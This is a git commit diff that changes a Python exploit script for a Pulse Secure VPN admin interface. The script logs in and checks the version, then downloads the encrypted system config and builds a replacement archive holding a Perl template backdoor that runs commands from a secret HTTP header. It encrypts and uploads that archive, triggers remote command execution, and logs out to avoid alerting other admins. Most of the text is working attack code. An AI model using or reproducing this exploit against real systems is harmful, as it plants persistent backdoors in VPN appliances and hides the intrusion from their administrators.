working but needs cleanup

This commit is contained in:
h00die
2020-11-04 17:59:04 -05:00
parent bacc0f78ed
commit f39e4d62e2
@@ -13,6 +13,7 @@ import struct
import argparse
import random
import string
import time
# extra modules
dependencies_missing_requests = False
@@ -170,6 +171,9 @@ def hpu(args):
def encrypt_config(file):
plaintext = file.getvalue()
# XXX
with open('/tmp/payload', 'wb') as w:
w.write(plaintext)
key_bytes = evp_bytestokey(HARDCODED_KEY, TRIPLE_DES_KEY_SIZE)
iv = os.urandom(8)
@@ -243,7 +247,7 @@ def upload_config(args,s, config):
def download_config(args, s):
logging.info('Requesting backup config page')
res = s.get('{}dana-admin/cached/config/config.cgi?type=system'.format(hpu(args)), verify=False, allow_redirects=False, proxies={'https':'https://127.0.0.1:8181'})
res = s.get('{}dana-admin/cached/config/config.cgi?type=system'.format(hpu(args)), verify=False, allow_redirects=False, headers={'referer': '{}dana-admin/cached/config/config.cgi?type=system'.format(hpu(args))}, proxies={'https':'https://127.0.0.1:8181'})
xsauth = re.search('name="xsauth" value="(?P<xsauth>[^"]+)"\/>', res.text)
if xsauth is None:
logging.error('Unable to detect fds or xsauth fields')
@@ -251,7 +255,7 @@ def download_config(args, s):
xsauth = xsauth.groupdict()['xsauth']
logging.info("Found xsauth {}".format(xsauth))
logging.info('Requesting encrypted config backup')
res = s.post('{}dana-admin/download/system.cfg?url=/dana-admin/cached/config/export.cgi'.format(hpu(args)), verify=False, allow_redirects=False, data=
res = s.post('{}dana-admin/download/system.cfg?url=/dana-admin/cached/config/export.cgi'.format(hpu(args)), verify=False, headers={'referer': '{}dana-admin/cached/config/config.cgi?type=system'.format(hpu(args))}, allow_redirects=False, data=
{
'txtPassword':'',
'txtPasswordConfirm':'',
@@ -278,13 +282,13 @@ def login(args, s):
)
except requests.exceptions.RequestException as e:
logging.error('{}'.format(e))
return
quit()
if res.status_code != 302:
logging.error("Received non 302 response ({}), check URL".format(res.status_code))
return
quit()
if 'failed' in res.headers['Location']:
logging.error("Login failed. Check credentials")
return
quit()
#cookie = res.cookies
#logging.info("Using cookie {}".format(cookie))
# if the account we login with is already logged in, or another admin is logged in, a warning is displayed. Click through it.
@@ -296,7 +300,7 @@ def login(args, s):
xsauth = re.search('name="xsauth" value="(?P<xsauth>[^"]+)"\/>', res2.text)
if fds is None or xsauth is None:
logging.error('Unable to detect fds or xsauth fields')
return
quit()
fds = fds.groupdict()['fds']
xsauth = xsauth.groupdict()['xsauth']
#logging.info("Found fds {} and xsauth {}".format(fds, xsauth))
@@ -312,7 +316,7 @@ def find_version(args, s):
r = s.get('{}dana-admin/misc/admin.cgi'.format(hpu(args)), verify=False, allow_redirects=False, proxies={'https':'https://127.0.0.1:8181'})
except requests.exceptions.RequestException as e:
logging.error('{}'.format(e))
return
quit()
v = re.search('<span id="span_stats_counter_total_users_count"[^>]+>(?P<version>[^<(]+)(?:\(build (?P<build>\d+)\))?<\/span>',r.text)
if v:
version = v.groupdict()['version'].strip()
@@ -325,10 +329,8 @@ def find_version(args, s):
logging.info("Version {}, revision {}, build {} found".format(version, revision, build))
if float(version) <= 9.1 and float(revision) < 9:
logging.info('Version is vulnerable')
return [version,build]
else:
logging.error('Version not vulnerable')
return None
return
logging.error('Version not vulnerable')
# Check methods aren't supported for external, but we use the name anyways for consistency
def check(args, s):
@@ -356,20 +358,26 @@ def run(args):
#if cookie is None:
# # no need to print out why, thats done in check
# return
#config = download_config(args, cookie)
#if config is None:
# logging.error('Unable to download system config')
# return
#config = decrypt_config(config)
#f_memory = io.BytesIO(config)
#f_memory.seek(0)
#try:
# decompressed = tarfile.open(fileobj = f_memory, mode='r:gz')
#except:
# logging.error('Unable to open tar file. {}'.format(sys.exc_info()[0]))
# return
#if 'tmp/tt/setcookie.thtml.ttc' in decompressed.getnames():
# logging.info('Previous exploitation attempts not found')
'''
config = download_config(args, s)
if config is None:
logging.error('Unable to download system config')
return
config = decrypt_config(config)
f_memory = io.BytesIO(config)
f_memory.seek(0)
try:
decompressed = tarfile.open(fileobj = f_memory, mode='r:gz')
except:
logging.error('Unable to open tar file. {}'.format(sys.exc_info()[0]))
return
for f in decompressed.getnames():
logging.info('{}'.format(f))
if 'tmp/tt/setcookie.thtml.ttc' in decompressed.getnames():
logging.info('Previous exploitation attempts not found')
exp = decompressed.extractfile('tmp/tt/setcookie.thtml.ttc')
logging.info('{}'.format(exp.read()))
'''
f_memory_new = io.BytesIO()
new_config = tarfile.open(fileobj = f_memory_new, mode='w|gz')
#logging.info('Copying old config to new one')
@@ -382,11 +390,30 @@ def run(args):
#logging.info('adding backdoor')
trigger = ''.join(random.choice(string.ascii_uppercase) for i in range(8))
logging.info('Exploit trigger will be at {}dana-na/auth/setcookie.cgi with a header of HTTP_{}'.format(hpu(args),trigger))
logging.info('Exploit trigger will be at {}dana-na/auth/setcookie.cgi with a header of {}'.format(hpu(args),trigger))
backdoor = io.BytesIO('system($ENV{HTTP_PULSE_CMD})'.replace('PULSE_CMD', trigger).encode('utf-8'))
'''
for member in decompressed.getmembers():
try:
new_config.addfile(member)
except:
logging.error('Error adding backdoor {} -> {}'.format(sys.exc_info()[0], sys.exc_info()[1]))
'''
try:
f1 = tarfile.TarInfo(name = 'tmp')
f1.type = tarfile.DIRTYPE
f1.mode = 509 # octal of chmod 777
f1.mtime = time.time()
new_config.addfile(f1)
f2 = tarfile.TarInfo(name = 'tmp/tt')
f2.type = tarfile.DIRTYPE
f2.mode = 509 # octal of chmod 777
f2.mtime = time.time()
new_config.addfile(f2)
bd = tarfile.TarInfo(name = 'tmp/tt/setcookie.thtml.ttc')
bd.size = backdoor.getbuffer().nbytes
bd.mtime = time.time()
bd.mode = 511 # XXX octal of chmod 777
new_config.addfile(tarinfo=bd, fileobj=backdoor)
except:
logging.error('Error adding backdoor {} -> {}'.format(sys.exc_info()[0], sys.exc_info()[1]))
@@ -399,6 +426,8 @@ def run(args):
logging.error('Error encrypting {} -> {}'.format(sys.exc_info()[0], sys.exc_info()[1]))
return
#logging.info('Uploading backdoored config')
with open('/tmp/payload.encrypted', 'wb') as w:
w.write(enc_new_config)
content = upload_config(args, s, enc_new_config)
# grab the logout url out of the content here
logout = re.search('window.location.href = "\/(?P<logout>dana-na\/auth\/logout.cgi\?xsauth=.+)"',content.decode('ascii'))
@@ -420,11 +449,13 @@ def run(args):
res = s.get('{}{}'.format(hpu(args), logout), verify=False, allow_redirects=False, proxies={'https':'https://127.0.0.1:8181'})
return
logging.info('Triggering RCE')
res = s.get('{}dana-na/auth/setcookie.cgi'.format(hpu(args)), verify=False, allow_redirects=False, headers={'HTTP_{}'.format(trigger): args['command']}, proxies={'https':'https://127.0.0.1:8181'})
logging.info('{}'.format(res.content))
logging.info('Sleeping 5sec to give the system time to update, then Triggering RCE')
#res = s.get('{}dana-na/auth/setcookie.cgi'.format(hpu(args)), verify=False, allow_redirects=False, headers={trigger: args['command']}, proxies={'https':'https://127.0.0.1:8181'})
res = s.get('{}dana-na/auth/setcookie.cgi'.format(hpu(args)), verify=False, allow_redirects=False, headers={trigger: 'ls /etc'}, proxies={'https':'https://127.0.0.1:8181'})
logging.info('Command Output: {}'.format(res.content.decode('utf-8').split('\n\n<html>')[0]))
#logging.info('{}'.format(res.content))
logging.info('Logging out to prevent warnings to other admins')
if not logogout is None:
if not logout is None:
res = s.get('{}{}'.format(hpu(args), logout), verify=False, allow_redirects=False, proxies={'https':'https://127.0.0.1:8181'})